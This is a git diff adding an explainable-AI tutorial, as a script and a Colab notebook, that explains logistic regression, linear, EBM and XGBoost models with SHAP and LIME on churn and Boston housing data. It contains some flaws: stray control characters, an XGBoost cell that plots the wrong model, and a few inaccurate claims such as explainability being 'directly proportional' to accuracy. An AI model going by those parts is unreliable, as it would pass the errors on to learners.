ensemble model on this dataset and compare the results. + +# %% +print("coefficients of the model:\n") +for i in range(X.shape[1]): + print(X.columns[i], "=", m_del.coef_[i].round(4)) + +# %% [markdown] +# The starting point is a model's coefficients. +# You'll then compare the coefficients in the complex ensemble models to those in the base linear model. Compare the explanations as well. +# Improved explainability is directly proportional to increased accuracy in prediction. + +# %% +shap.plots.partial_dependence( +"RM", m_del.predict, X1000, ice=False, +model_expected_value=True, feature_expected_value=True +) + +# %% [markdown] +# You may see the predicted median value of the housing price by looking at the horizontal dotted line E[f(x)]. +# There is a linear relationship between the RM feature and the model's predicted outcome. + +# %% +# SHAP values computation for the linear model +explainer1 = shap.Explainer(m_del.predict, X1000) +shap_values = explainer1(X) +# make a standard partial dependence plot +sample_ind = 18 +shap.partial_dependence_plot( +"RM", m_del.predict, X1000, model_expected_value=True, +feature_expected_value=True, ice=False, +shap_values=shap_values[sample_ind:sample_ind+1,:] +) + +# %% [markdown] +# From the above plot we can see that row number 18 from the dataset is superimposed on the PDP plot. +# RM's marginal contribution to the predicted value of the target column is illustrated by an upward-rising straight line in the picture above. +# The discrepancy between the expected value and the average predicted value is shown by the red line in the graph. + +# %% +X1000 = shap.utils.sample(X,100) +m_del.predict(X1000).mean() ## mean +m_del.predict(X1000).min() ## minimum +m_del.predict(X1000).max() ## maximum +shap_values[18:19,:] ## shap values +X[18:19] +m_del.predict(X[18:19]) +shap_values[18:19,:].values.sum() + shap_values[18:19,:].base_values + +# %% [markdown] +# The predicted outcome for record number 18 is 16.178, and the total of the SHAP values from various features, as well as the base value, is equal to the predicted value. +# From the below plot, SHAP values are generated using a linear model, which explains why the relationship is linear. +# You can expect the line to be non-linear if you switch to a non-linear model. + +# %% +shap.plots.scatter(shap_values[:,"RM"]) + +# %% [markdown] +# the plot below display the relationship between predicted result and SHAP values + +# %% +# the waterfall_plot +m_del.predict(X)[sample_ind] +shap.plots.waterfall(shap_values[sample_ind], max_display=13) + +# %% [markdown] +# The horizontal axis in the figure above displays the predicted result average value, which is 22.841, while the vertical axis shows the SHAP values from different features. +# The dataset's presumed values for each feature are represented in grey, while the negative SHAP values are shown in blue and the positive SHAP values are shown in red. The vertical axis also shows the predicted result for the 18th record, which is 16.178. + +# %% [markdown] +# ## Using the Interpret Explaining Boosting Model +# +# In this section, you will utilize generalized additive models (GAM) to forecast home prices. +# The model fitted using the SHAP library may be explained. +# The interpret Python package may be used to train the generalized additive model, and the trained model object can then be sent through the SHAP model to provide explanations for the boosting models. +# The interpret library can be installed three ways: +# +# !pip install interpret-core +# Using the pip install method, this is done without any dependencies. +# +# conda install -c interpretml interpret-core +# This is a distribution based on anaconda. You may install using the conda environment's terminal. +# +# git clone https://github.com/interpretml/interpret.git && cd interpret/scripts && make install-core +# GitHub is used to get this directly from the source. +# +# Glassbox models: The scikit-learn framework is used to build Glassbox models that are more interpretable while keeping the same degree of accuracy as the current sklearn library. Linear models, decision trees, decision rules, and boosting-based models are all supported. +# +# Blackbox explainers: An approximate explanation of the model's behavior and predictions is provided by blackbox explainers. +# These approaches may be used when none of the machine learning model's components can be interpreted. +# Shapely explanations, LIME explanations, partial dependency plots, and Morris sensitivity analysis may all be supported by these methods. +# + +# %% [markdown] +# To begin, import the glassbox module from interpret, then set up the explainable boosting regressor and fit the model. +# model ebm is the model object. + +# %% +# fit a GAM model to the data +m_ebm = interpret.glassbox.ExplainableBoostingRegressor() +m_ebm.fit(X, y) + +# %% [markdown] +# You will sample the training dataset to provide a backdrop for creating explanations using the SHAP package. +# In the SHAP explainer, you utilize m_ebm.predict and some samples to construct explanations. + +# %% +# GAM model with SHAP explanation +expl_ebm = shap.Explainer(m_ebm.predict, X1000) +shap_v_ebm = expl_ebm(X) + +# %% +# PDP with a single SHAP value +fig,ax = shap.partial_dependence_plot( +"RM", m_ebm.predict, X, feature_expected_value=True, model_expected_value=True, show=False,ice= False, +shap_values=shap_v_ebm[sample_ind:sample_ind+1,:] +) + +# %% [markdown] +# The boosting-based model is shown above . +# There is a non-linear relationship between the RM values and the forecasted target column, which is the average value of housing prices. As the red straight line indicates, we're explaining the same 18th record once again. + +# %% +shap.plots.scatter(shap_v_ebm[:,"RM"]) + +# %% [markdown] +# The relationship shown in the graph above is non-linear. +# At the start, the predicted value does not grow significantly as the RM increases, but beyond a particular stage, the SHAP value for RM climbs exponentially as the RM value increases. + +# %% [markdown] +# Here's another representation of the relationship between the SHAP and feature values, as seen in the figure below. + +# %% +# In order to get at explainer.expected_value, we use the waterfall_plot. +m_ebm.predict(X)[sample_ind] +shap.plots.beeswarm(shap_v_ebm, max_display=14) + +# %% [markdown] +# Non-linearity is seen in the below figure, where the extreme gradient boosting regression model is applied to explain ensemble models. + +# %% +# XGBoost model training +m_xgb = xgboost.XGBRegressor(n_estimators=100, max_depth=2).fit(X, y) +# the GAM model explanation with SHAP +expl_xgb = shap.Explainer(m_xgb, X1000) +shap_v_xgb = expl_xgb(X) +## PDP +fig,ax = shap.partial_dependence_plot( +"RM", m_ebm.predict, X, feature_expected_value=True, model_expected_value=True, show=False,ice= False, +shap_values=shap_v_ebm[sample_ind:sample_ind+1,:] +) + +# %% [markdown] +# A non-linear relationship between RM and the SHAP value of RM is seen in the figure below. + +# %% +shap.plots.scatter(shap_v_xgb[:,"RM"]) + +# %% [markdown] +# The graph below depicts the same non-linear relationship with an extra overlay of the RAD feature, demonstrating that the higher the RM value, the higher the RAD component, and vice versa. + +# %% +shap.plots.scatter(shap_v_xgb[:,"RM"], color=shap_values) + + diff --git a/machine-learning/explainable-ai/explainableai_PythonCodeTutorial.ipynb b/machine-learning/explainable-ai/explainableai_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..69e2e5d4 --- /dev/null +++ b/machine-learning/explainable-ai/explainableai_PythonCodeTutorial.ipynb @@ -0,0 +1,1138 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": { + "id": "AtYEGElhJxD7" + }, + "source": [ + "## Explaining Logistic Regression Moel with SHAP\n", + "Logistic regression is often used to predict the probability of binary or multinomial outcomes. it can be multinomial(where more than two outcomes are also possible).\n", + "Class separation is complex in a multinomial class classification model.\n", + "A logistic regression model assumes a logarithmic relationship between the dependent and independent variables, while a linear regression model assumes a linear relationship. \n", + "The variable of interest in many real-life settings is categorical: The purchase or non-purchase of a product, the approval or non-approval of a credit card, or the cancerousness of a tumor.\n", + "Logistic regression can estimate the likelihood of a case belonging to a specific level in the dependant variable. \n", + "The logistic regression model can be explained using the following equation:\n", + "{Formula]\n", + "\n", + "The outcome's log-odds are given by the formula Ln (P/1-P).\n", + "According to the preceding equation's beta coefficients, the outcome variable's probabilities increase or decrease by one unit when the explanatory variable rises or falls. \n", + "The interpretation of a logistic regression model differs significantly from the interpretation of a linear regression model.\n", + "The right-hand side equation's weighted sum is turned into a probability value. The log-odds are used to describe the value on the left side of the equation. \n", + "It is termed the log odds because it represents the ratio of an event occurring to the probability of an event not occurring.\n", + "To comprehend the logistic regression model and how decisions are made, it is necessary to grasp the concepts of probabilities and odds.\n", + "You'll utilize churndata.csv, a file in the telecommunications category with 3,333 entries and 18 distinct features. \n", + "\n", + "\u001e\n", + "\u001d \u001c\n", + "\u001b\n", + "\u001a \u0019\n", + "\u0018 \u0015 \u0017 \u0015 \u0017 \u0015 \u0017\u0016\u0017 \u0015" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "vBBUsHovAKG0", + "outputId": "3b8b2e45-0e73-4b97-92a3-1c5fb2d40990" + }, + "outputs": [], + "source": [ + "!pip install shap\n", + "!pip install LIME\n", + "!pip install interpret-core\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Tmb8im0uz-jg", + "outputId": "7c171c15-262c-41ab-adbc-4d76cce306fb" + }, + "outputs": [], + "source": [ + "#mount drive\n", + "%cd ..\n", + "from google.colab import drive\n", + "drive.mount('/content/gdrive')\n", + "\n", + "# Execute the following command to build a symbolic link, so that the path /content/gdrive/My Drive/ is now equivalent to /mydrive.\n", + "!ln -s /content/gdrive/My\\ Drive/ /mydrive\n", + "\n", + "# list the contents of /mydrive\n", + "!ls /mydrive\n", + "\n", + "#Navigate to /mydrive/churn\n", + "%cd /mydrive/churn/" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "a2Hkqgae0uoZ" + }, + "outputs": [], + "source": [ + "import pandas as pd\n", + "import numpy as np\n", + "import matplotlib.pyplot as plt\n", + "%matplotlib inline\n", + "from sklearn.linear_model import LogisticRegression, LogisticRegressionCV\n", + "from sklearn.metrics import confusion_matrix, classification_report\n", + "from sklearn.preprocessing import LabelEncoder\n", + "from sklearn.model_selection import train_test_split\n", + "from sklearn.linear_model import LinearRegression\n", + "import interpret.glassbox\n", + "import xgboost\n", + "import shap\n", + "import lime\n", + "import lime.lime_tabular\n", + "import sklearn\n", + "import warnings\n", + "warnings.filterwarnings('ignore')" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "9KJPGokMgxak" + }, + "source": [ + "As a first stage, you get the data, then convert specific features already in string format using a label encoder.\n", + "You divide the data into 80 percent for training and 20 percent for testing following the transformation.\n", + "To keep the classes balanced, maintain the percentage of churn and no-churn cases while generating the train/test split.\n", + "The model is then trained, and the learned model is applied to the test data." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 317 + }, + "id": "tqEr4TGH0VXA", + "outputId": "838d3a0a-e0df-4bfe-b541-0e6af229c24c" + }, + "outputs": [], + "source": [ + "data = pd.read_csv('/mydrive/churn/Telecom_Train.csv')\n", + "data.head()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "9UnCJucE2RVC", + "outputId": "f4c60cc8-ec87-4922-cb85-a08c9bbba2e9" + }, + "outputs": [], + "source": [ + "del data['Unnamed: 0'] ## delete Unnamed: 0\n", + "le = LabelEncoder() ## perform label encoding\n", + "data['area_code_tr'] = le.fit_transform(data['area_code'])\n", + "del data['area_code'] ## delete area_code\n", + "data['churn_dum'] = pd.get_dummies(data.\n", + "churn,prefix='churn',drop_first=True)\n", + "del data['international_plan'] ## delete international_plan\n", + "del data['voice_mail_plan'] ## delete voice_mail_plan\n", + "del data['churn'] ## delete churn\n", + "data.info()\n", + "data.columns" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "17yMKddu9TmC", + "outputId": "b7c430f9-de01-4feb-df0f-6f26cc8ad5b3" + }, + "outputs": [], + "source": [ + "X = data[['account_length', 'number_vmail_messages', 'total_day_minutes',\n", + "'total_day_calls', 'total_day_charge', 'total_eve_minutes',\n", + "'total_eve_calls', 'total_eve_charge', 'total_night_minutes',\n", + "'total_night_calls', 'total_night_charge', 'total_intl_minutes',\n", + "'total_intl_calls', 'total_intl_charge',\n", + "'number_customer_service_calls', 'area_code_tr']]\n", + "Y = data['churn_dum']\n", + "xtrain,xtest,ytrain,ytest=train_test_split(X,Y,test_size=0.20,stratify=Y)\n", + "l_model = LogisticRegression(max_iter=10000)\n", + "l_model.fit(xtrain,ytrain)\n", + "print(\"training accuracy:\", l_model.score(xtrain,ytrain)) #training accuracy\n", + "print(\"test accuracy:\",l_model.score(xtest,ytest)) # test accuracy\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "t5BZjb6_-4FB", + "outputId": "9f0050a2-4dd4-44f2-e9fd-1f66ec4f59d1" + }, + "outputs": [], + "source": [ + "print(np.round(l_model.coef_,2))## Coeffiscient \n", + "print(l_model.intercept_) ## intercept" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "TwmC-dR4kSCu" + }, + "source": [ + "\n", + "Only the area code is transformed. The remaining features are either integers or floating-point numbers to train the model.\n", + "It's now possible to see how a prediction is made by examining the distribution of probabilities, the log odds, the odds ratios, and other model parameters.\n", + "SHAP values may reveal strong interaction effects when used to explain the probability of a logistic regression model.\n" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "1x80UP8ApJA8" + }, + "source": [ + "The appropriate output may be generated using two new utility functions that you built and which can then be used in a visual representation of SHAP values. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "UzhUJilF_Ctz" + }, + "outputs": [], + "source": [ + "# Provide Probability as Output\n", + "def m_churn_proba(x):\n", + " return l_model.predict_proba(x)[:,1]\n", + "# Provide Log Odds as Output\n", + "def model_churn_log_odds(x):\n", + " p = l_model.predict_log_proba(x)\n", + " return p[:,1] - p[:,0]" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "uVwjfxjxraJS" + }, + "source": [ + "The partial dependency plot for the feature total day in minutes for record number 25 demonstrates a positive but not linear relationship between the function's probability value or predicted value and the feature." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 297 + }, + "id": "BJhJtksK_1zI", + "outputId": "7dffb185-d950-4820-981a-c884a7826327" + }, + "outputs": [], + "source": [ + "# make a standard partial dependence plot\n", + "sample_ind = 25\n", + "fig,ax = shap.partial_dependence_plot(\n", + "\"total_day_minutes\", m_churn_proba, X, model_expected_value=True,\n", + "feature_expected_value=True, show=False, ice=False)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "ikgr7fY9yRNm" + }, + "source": [ + "Any machine learning model or Python function may be explained using Shapley values. This is the SHAP library's primary explainer interface.\n", + "It accepts any model and masker combination and produces a callable subclass object that implements the selected estimate technique. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 488 + }, + "id": "jdXR8EFUEQTB", + "outputId": "4072721a-cce2-4a09-a3d6-cbf777d13bd6" + }, + "outputs": [], + "source": [ + "# compute the SHAP values for the linear model\n", + "background_c = shap.maskers.Independent(X, max_samples=1000) ## Concealed features may be hidden by using this function. \n", + "explainer = shap.Explainer(l_model, background_c,\n", + "feature_names=list(X.columns))\n", + "shap_values_c = explainer(X)\n", + "shap_values = pd.DataFrame(shap_values_c.values)\n", + "shap_values.columns = list(X.columns)\n", + "shap_values" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "unI6Yvg-0RP5" + }, + "source": [ + "There is a strong, perfect linear relationship between account length and SHAP values of account length in the scatterplot. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 337 + }, + "id": "vOyB_89E0Y74", + "outputId": "f5395f45-6416-4ad0-cb23-a8704cc3bfe3" + }, + "outputs": [], + "source": [ + "shap.plots.scatter(shap_values_c[:,'account_length'])" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "L5R4wK_T35ya" + }, + "source": [ + "This shows which characteristic is more important in the classification.\n", + "Customers who have more complaints are more likely to call customer service and can churn at any time.\n", + "Another factor is total day in minutes, followed by number of voicemail messages. Towards the end, the seven most minor significant features are grouped.\n", + "\n", + "The maximum absolute SHAP value for each feature is shown below; however, the two graphs are similar.\n", + "A beeswarm graphic displays the SHAP value and its influence on model output.\n", + "The heatmap display of SHAP values for hundreds of records illustrates the SHAP value density versus model features.\n", + "The best feature has a high SHAP value, while the feature importance and SHAP value decline with time. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 433 + }, + "id": "HuV_l28DEwc3", + "outputId": "b0998e8d-4bca-4acf-959d-2a918a31fecb" + }, + "outputs": [], + "source": [ + "# make a standard partial dependence plot\n", + "sample_ind = 25\n", + "fig,ax = shap.partial_dependence_plot(\n", + "\"number_vmail_messages\", m_churn_proba, X, model_expected_value=True,\n", + "feature_expected_value=True, show=False, ice=False\n", + ")\n", + "shap_values_c.feature_names\n", + "# compute the SHAP values for the linear model\n", + "explainer_log_odds = shap.Explainer(l_model, background_c,\n", + "feature_n=list(X.columns))\n", + "shap_values_churn_l = explainer_log_odds(X)\n", + "shap_values_churn_l\n", + "shap.plots.bar(shap_values_churn_l)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "M3bOwnoJ9AKC" + }, + "source": [ + "\n", + "The plot below illustrates how a SHAP bar plot will use the mean absolute value of each feature(by default) across all dataset occurrences (rows)." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 418 + }, + "id": "OWbFMtet8jiQ", + "outputId": "52c3e1cd-d848-4dec-bad2-2161a15590df" + }, + "outputs": [], + "source": [ + "shap.plots.bar(shap_values_churn_l)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "VsvMb8CA6h9w" + }, + "source": [ + "The below plot illustrates how utilizing the maximum absolute value highlights the number_customer_service_calls and total_intl_calls feature, which have infrequent but large magnitude impacts. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 418 + }, + "id": "oD6zHlF_G8XV", + "outputId": "aedac7ed-4c7a-495a-81cb-cd6482acd7ee" + }, + "outputs": [], + "source": [ + "shap.plots.bar(shap_values_churn_l.abs.max(0))" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "z5RG2_PbBYaG" + }, + "source": [ + "Beow, we can see the beeswarm plot that can be used to summarize the whole distribution of SHAP values for each feature.\n", + "The dot's location on the x-axis indicates whether that attribute contributed positively or negatively to the prediction.\n", + "This allows you to quickly determine if the feature is essentially flat for each forecast or significantly influences specific rows while having little impact on others." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 368 + }, + "id": "5Vf5ELo6HRPf", + "outputId": "40d2689f-bcf3-4270-d6ba-ea4f755a95e9" + }, + "outputs": [], + "source": [ + "shap.plots.beeswarm(shap_values_churn_l)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "VTOf-f1DChg-" + }, + "source": [ + "The below plot represents the frequency with which each feature gave SHAP values for instances utilized in the training procedure. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 410 + }, + "id": "QNvs3WaZHhfw", + "outputId": "afaeea5e-924d-42b2-fd0d-ecfc80a47246" + }, + "outputs": [], + "source": [ + "shap.plots.heatmap(shap_values_churn_l[:1000])" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "KcodBi0e0RnR" + }, + "source": [ + "## LIME\n", + "The SHAP values may be used to explain the logistic regression model.\n", + "But the difficulty is time.\n", + "With a million records, you need more time to construct all permutations and combinations to explain the local accuracy.\n", + "LIME's explanation generation speed avoids this issue in huge dataset processing.\n", + "\n", + "Explanations are the result of the LIME framework. LIME includes three primary functionalities:\n", + "\n", + " - The image explainer interprets image classification models.\n", + " - The text explainer gives insight into text-based models.\n", + " - The tabular explainer determines how much a tabular dataset's features are evaluated throughout the classification process.\n", + "\n", + "\n", + "Lime Tabular Explainer is required to explain tabular matrix data. The term \"local\" refers to the framework's analysis of individual data. It does not provide a comprehensive explanation for why the model performs, but instead describes how a given observation is classified. The user should be able to grasp what a model performs if it is interpretable. Thus, while dealing with image classification, it reveals which parts of the image it evaluated when making predictions, and when working with tabular data, it shows which features influence its choice. Model-agnostic means that it may be used to any blackbox algorithm that exists now or developed in the future.\n", + "\n", + "To generate a LIME output, we define the explanation as explainer.explain _instance and include the observation we picked above, the model.predict_proba, and 16 features, which show us which features are thought to be the most significant in predicting the target variable. \n", + "\n", + "The explaiser:\n", + "\n", + "The explainer itself is part of the LIME library and is presented in the preceding program. Because the explainer had no default settings, we had to specify all of the parameters manually. We first call our now-formatted dataset, followed by a list of all features in our dataset.\n", + "\n", + " - X_train = Training set\n", + " - feature_names = Concatenated list of all feature names\n", + " - class_names = Target values\n", + " - Kernel width = Parameter to control the linearity of the induced model; the larger the width more linear is the model\n", + "\n", + "\n", + "\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "7mVZ1LRA0xCq", + "outputId": "dfbff86a-4b5f-459c-9ab4-3f8feda085db" + }, + "outputs": [], + "source": [ + "explainer = lime.lime_tabular.LimeTabularExplainer(np.array(xtrain),\n", + "feature_names=list(xtrain.columns),\n", + "class_names=['churn_dum'],\n", + "verbose=True, mode='classification')\n", + "# this record is a no churn scenario\n", + "expl = explainer.explain_instance(xtest.iloc[0], l_model.predict_proba,\n", + "num_features=16)\n", + "expl.as_list()" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "JUxyzc1pTUE2" + }, + "source": [ + "Once the explainer model object is created, you may construct explanations by checking for individual and global predictions.\n", + "In classification with two or more classes, you can produce different feature importances for each class in relation to the features column.\n", + "\n", + " For example, total_intl_minutes had a value lower than 8.50 lowered the score of\n", + "the model by about 0.04." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 551 + }, + "id": "Om0fOqN5SKB_", + "outputId": "2457f484-d622-4549-ded6-fc1dae06dbc1" + }, + "outputs": [], + "source": [ + "pd.DataFrame(expl.as_list())" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "T-VOzVdYDOlc" + }, + "source": [ + "Intercept 0.11796923846596004\n", + "Prediction_local [0.10779621]\n", + "Right: 0.1242113883724509" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "DWxRgwywY2QE" + }, + "source": [ + "Running the code produces the LIME output divided into three sections: prediction probabilities on the left, feature probabilities in the middle, and a feature-value table on the right. A graph of prediction probabilities indicates what the model thinks will happen and the related likelihood. There is an 91% chance that the customer will not churn, which is represented by the blue bar, and a 9% chance that he will churn, which is represented by the orange bar.\n", + "\n", + "The feature probability graph illustrates how much a feature impacts a specific choice. The variable number_customer_service_calls is the most influential component in this observation, and it confirms the forecast that the customer will not churn. The second most essential attribute is total_day_minutes. The last graph is the feature value table which displays the actual value of this feature in this observation. \n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 505 + }, + "id": "Rnwfev9ZUnJD", + "outputId": "3a309a48-78c0-454c-8ac5-cb1cf786fbab" + }, + "outputs": [], + "source": [ + "expl.show_in_notebook(show_table=True)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "9aOLdhTm7fnv" + }, + "outputs": [], + "source": [] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "EYh8fhjZsPGO" + }, + "source": [ + "Although LIME is simple and effective, it is not without flaws. It will be published in 2020 that the first theoretical examination of LIME confirms the importance and relevance of LIME, but it also shows that poor parameter selections might cause LIME to overlook important features. As a result, different interpretations of the same prediction may lead to deployment issues. DLIME, a deterministic variant of LIME, is suggested to overcome this uncertainty. Hierarchical clustering is used to group the data, and k-nearest neighbors (KNN) pick the cluster where the instance in question is thought to reside. " + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "7Xrwm1Alrhnt" + }, + "source": [ + "## Using SHAP for Ensemble Models\n", + "we will use the popular Boston housing prices dataset to explain the model predictions in a regression use case scenario.\n", + "The following are the\n", + "variables from the Boston housing prices dataset:\n", + "\n", + "CRIM: Per capita crime rate by town\n", + "\n", + "• ZN: Proportion of residential land zoned for lots over 25,000 sq.ft.\n", + "\n", + "• INDUS: Proportion of non-retail business acres per town\n", + "\n", + "• CHAS: Charles River dummy variable (1 if tract bounds river; 0\n", + "otherwise)\n", + "\n", + "• NOX: Nitric oxide concentration (parts per 10 million)\n", + "\n", + "• RM: Average number of rooms per dwelling\n", + "\n", + "• AGE: Proportion of owner-occupied units built prior to 1940\n", + "\n", + "• DIS: Weighted distances to five Boston employment centers\n", + "\n", + "• RAD: Index of accessibility to radial highways\n", + "\n", + "• TAX: Full value property tax rate per $10,000\n", + "\n", + "• PTRATIO: Pupil-teacher ratio by town\n", + "\n", + "• B: 1000(Bk - 0.63)^2 where Bk is the proportion of blacks by town\n", + "\n", + "• LSTAT: % lower status of the population\n", + "\n", + "• MEDV: Median value of owner-occupied homes in $1000s" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "s4oGfJT27hpe", + "outputId": "5459e0b1-e089-4e60-8225-8e7dc191e4a6" + }, + "outputs": [], + "source": [ + "# boston Housing price \n", + "X,y = shap.datasets.boston()\n", + "X1000 = shap.utils.sample(X, 1000) # 1000 instances for use as the background distribution\n", + "# a simple linear model\n", + "m_del = sklearn.linear_model.LinearRegression()\n", + "m_del.fit(X, y)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "aTONNsDjdLdZ" + }, + "source": [ + "The Boston housing prices dataset is now part of the SHAP library. The base model calculation happens using the linear regression model so that you can perform the ensemble model on this dataset and compare the results." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "ETbx72pqd_n_", + "outputId": "1804fe7b-1c73-4c17-eb5a-f061c5076bf8" + }, + "outputs": [], + "source": [ + "print(\"coefficients of the model:\\n\")\n", + "for i in range(X.shape[1]):\n", + " print(X.columns[i], \"=\", m_del.coef_[i].round(4))" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "x-E0TNhde0zw" + }, + "source": [ + "The starting point is a model's coefficients.\n", + "You'll then compare the coefficients in the complex ensemble models to those in the base linear model. Compare the explanations as well.\n", + "Improved explainability is directly proportional to increased accuracy in prediction. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 296 + }, + "id": "ExAyVmhHfv1T", + "outputId": "a1c1639e-7928-433e-c1a1-c6a7d88ca464" + }, + "outputs": [], + "source": [ + "shap.plots.partial_dependence(\n", + "\"RM\", m_del.predict, X1000, ice=False,\n", + "model_expected_value=True, feature_expected_value=True\n", + ")" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "OIr126IFgSC6" + }, + "source": [ + "You may see the predicted median value of the housing price by looking at the horizontal dotted line E[f(x)]. \n", + "There is a linear relationship between the RM feature and the model's predicted outcome. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 314 + }, + "id": "p6mK7L33jROj", + "outputId": "d8f7819f-29e1-48af-a5e9-067853e1a99d" + }, + "outputs": [], + "source": [ + "# SHAP values computation for the linear model\n", + "explainer1 = shap.Explainer(m_del.predict, X1000)\n", + "shap_values = explainer1(X)\n", + "# make a standard partial dependence plot\n", + "sample_ind = 18\n", + "shap.partial_dependence_plot(\n", + "\"RM\", m_del.predict, X1000, model_expected_value=True,\n", + "feature_expected_value=True, ice=False,\n", + "shap_values=shap_values[sample_ind:sample_ind+1,:]\n", + ")" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "k3BeIMeGkEb6" + }, + "source": [ + "From the above plot we can see that row number 18 from the dataset is superimposed on the PDP plot.\n", + "RM's marginal contribution to the predicted value of the target column is illustrated by an upward-rising straight line in the picture above.\n", + "The discrepancy between the expected value and the average predicted value is shown by the red line in the graph. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Xd5ck7zN-82Y", + "outputId": "c84ba7f4-da93-4378-a22e-89ce95a0a0eb" + }, + "outputs": [], + "source": [ + "X1000 = shap.utils.sample(X,100)\n", + "m_del.predict(X1000).mean() ## mean\n", + "m_del.predict(X1000).min() ## minimum\n", + "m_del.predict(X1000).max() ## maximum\n", + "shap_values[18:19,:] ## shap values\n", + "X[18:19]\n", + "m_del.predict(X[18:19])\n", + "shap_values[18:19,:].values.sum() + shap_values[18:19,:].base_values" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "7JFpAm-b_Ykd" + }, + "source": [ + "The predicted outcome for record number 18 is 16.178, and the total of the SHAP values from various features, as well as the base value, is equal to the predicted value. \n", + " From the below plot, SHAP values are generated using a linear model, which explains why the relationship is linear.\n", + "You can expect the line to be non-linear if you switch to a non-linear model. " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 337 + }, + "id": "benhohCIDD5o", + "outputId": "7497dc1f-a01d-4740-a0f6-1711eb6f9d9d" + }, + "outputs": [], + "source": [ + "shap.plots.scatter(shap_values[:,\"RM\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "X7YWyjVoFjXp" + }, + "source": [ + "the plot below display the relationship between predicted result and SHAP values" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 525 + }, + "id": "OLe-SbVoEicl", + "outputId": "4cc8bd62-7087-47f8-d9a5-6e881571b85a" + }, + "outputs": [], + "source": [ + "# the waterfall_plot \n", + "m_del.predict(X)[sample_ind]\n", + "shap.plots.waterfall(shap_values[sample_ind], max_display=13)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "lY5r_pKmImD2" + }, + "source": [ + "The horizontal axis in the figure above displays the predicted result average value, which is 22.841, while the vertical axis shows the SHAP values from different features.\n", + "The dataset's presumed values for each feature are represented in grey, while the negative SHAP values are shown in blue and the positive SHAP values are shown in red. The vertical axis also shows the predicted result for the 18th record, which is 16.178. " + 